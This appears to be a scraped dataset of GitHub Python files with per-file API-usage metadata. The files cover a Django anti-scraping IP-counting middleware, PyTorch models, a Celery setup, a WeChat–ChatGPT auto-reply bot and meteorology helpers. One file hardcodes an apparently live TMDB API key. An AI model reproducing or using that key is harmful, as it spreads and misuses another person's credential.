"usage_type": "call"
},
{
"api_name": "musicbrainzngs.set_useragent",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "musicbrainzngs.auth",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "mus... |
70521690663 | import time
from django.core import cache
from django.http import HttpResponse
from django.utils.deprecation import MiddlewareMixin
from xiaochengxu import settings
class CountipMiddle(MiddlewareMixin):
# 在视图执行前调用
def process_request(self,request):
# 获取客户端ip
x_forwarded_for = re... | zhoujialefanjiayuan/liu-lian | xiaochengxu/middleware/fanpa.py | fanpa.py | py | 1,113 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.utils.deprecation.MiddlewareMixin",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "xiaochengxu.settings",
"line_number": 19,
"usage_type": "argument"
},
{
"api_name": "django.http.HttpResponse",
"line_number": 21,
"usage_type": "call"
},... |
28856693359 | import yaml
import json
from typing import Sequence
from types import SimpleNamespace
from itertools import combinations, permutations
from sympy import symbols, Symbol
from sympy.logic.boolalg import BooleanFunction, And, Or, Not
import numpy as np
import torch
from torch import nn, Tensor
from dataset import collat... | noahleegithub/neurosat-cs4950 | ranking_models.py | ranking_models.py | py | 4,281 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "torch.nn.Module",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "types.SimpleNamespace",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "models.activation... |
23585423225 | """
EEGNet
edit by hichens
"""
import numpy as np
from sklearn.metrics import roc_auc_score, precision_score, recall_score, accuracy_score
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torch.optim as optim
import sys; sys.path.append("..")
from utils.options imp... | hehichens/Cognitive | models/EEGNet.py | EEGNet.py | py | 3,378 | python | en | code | 6 | github-code | 36 | [
{
"api_name": "sys.path.append",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "torch.nn.Module",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"li... |
69815063464 | import requests
import json
TMDB_API_KEY ='2ee130f2ba9bf221b6fe5107cffcac46'
def get_movie_genre():
request_url = f"https://api.themoviedb.org/3/genre/movie/list?api_key={TMDB_API_KEY}&language=en"
genres = requests.get(request_url).json()
for genre in genres['genres']:
fields = {
... | uttamapaksa/MOVISION | db data/makegenre.py | makegenre.py | py | 710 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "requests.get",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "json.dump",
"line_number": 40,
"usage_type": "call"
}
] |
73335280743 | # coding: utf-8
"""
Test webservices
"""
import sys
import os
PROJECT_HOME = os.path.abspath(
os.path.join(os.path.dirname(__file__), '../../../'))
sys.path.append(PROJECT_HOME)
import json
import unittest
from flask import url_for
from flask_testing import TestCase
from httmock import urlmatch, HTTMock
from tug... | adsabs/tugboat | tugboat/tests/tests_unit/test_webservices.py | test_webservices.py | py | 2,331 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.abspath",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "os.path.join",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 9... |
22397199213 | import os
from datetime import datetime
from celery import Celery
from celery.schedules import crontab
from celery.utils.log import get_task_logger
# 1-s terminal celery -A MainWater beat
# 2-s terminal celery -A MainWater worker --loglevel=info
logger = get_task_logger(__name__)
# Set the default Django ... | dillag/countersAPI | MainWater/MainWater/celery.py | celery.py | py | 1,497 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "celery.utils.log.get_task_logger",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "os.environ.setdefault",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.environ",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name":... |
28639327912 | #-*- coding: GBK-*-
import time
from wxauto import *
import openai
import os
#代理端口
os.environ['HTTP_PROXY'] = 'http://127.0.0.1:7890'
os.environ['HTTPS_PROXY'] = 'http://127.0.0.1:7890'
#https://platform.openai.com/overview
openai.api_key="your_key"
def chatretern(prompt,moudel_engine="gpt-3.5-turbo"):
cmpletio... | sfs999/win_chatgpt | chatwx.py | chatwx.py | py | 1,735 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.environ",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "os.environ",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "openai.api_key",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "openai.ChatCompleti... |
34682614662 | import numpy as np
import matplotlib
import scipy
import netCDF4 as nc4
import numpy.ma as ma
import matplotlib.pyplot as plt
from netCDF4 import Dataset
import struct
import glob
import pandas as pd
from numpy import convolve
import datetime
import atmos
import matplotlib.dates as mdates
#"""
#Created on Wed Nov 13... | ClauClouds/PBL_paper_repo | myFunctions.py | myFunctions.py | py | 168,788 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "datetime.datetime",
"line_number": 44,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "datetime.dateti... |
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